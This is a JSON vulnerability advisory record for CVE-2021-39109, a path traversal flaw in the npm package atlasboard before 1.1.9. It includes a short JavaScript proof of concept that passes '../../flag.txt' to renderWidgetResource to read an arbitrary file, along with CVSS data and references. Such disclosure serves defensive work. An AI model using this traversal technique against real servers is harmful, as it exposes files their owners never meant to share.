{"id":"CVE-2021-39109","aliases":[],"url":"https://o3.security/vulnerability/CVE-2021-39109","summary":"Path traversal in atlasboard","details":"The renderWidgetResource resource in Atlasian Atlasboard before version 1.1.9 allows remote attackers to read arbitrary files via a path traversal vulnerability.\n\n### PoC\n```javascript\nconst widget = require(\\\"atlasboard/lib/webapp/routes/widget\\\");\n\n// Mock req and res\nconst req = {};\nconst res = {\n  sendFile: (filePath) => {\n    // Read and return file contents synchronously\n    const data = fs.readFileSync(filePath, \\\"utf8\\\");\n    console.log(\\\"Contents of /flag.txt:\\\");\n    console.log(data);\n  },\n  status: function (code) {\n    this.statusCode = code;\n    return this;\n  },\n  send: function (msg) {\n    throw new Error(`Server responded with status ${this.statusCode}: ${msg}`);\n  },\n};\n\n// localPackagesPath set to root to allow traversal to /flag.txt\nconst localPackagesPath = \\\"/\\\";\n\n// resource string with path traversal to escape localPackagesPath and widgets directory\nconst resource = \\\"../../flag.txt\\\";\n\n// Call vulnerable function\nawait widget.renderWidgetResource(localPackagesPath, resource, req, res);\n```","published":"2021-09-02T17:17:25Z","modified":"2025-09-29T16:41:02Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"atlasboard","fixedVersion":"1.1.9"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-39109"},{"type":"WEB","url":"https://arxiv.org/abs/2506.04962"},{"type":"WEB","url":"https://arxiv.org/pdf/2506.04962"},{"type":"WEB","url":"https://bitbucket.org/atlassian/atlasboard/commits/9c03df09f09399e2601010466e8ba3a28236eb9c"},{"type":"WEB","url":"https://bitbucket.org/atlassian/atlasboard/pull-requests/91/buildeng-19379-apply-only-the-path"},{"type":"WEB","url":"https://bitbucket.org/atlassian/atlasboard/src/master"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2025-09-29T16:41:02Z"}}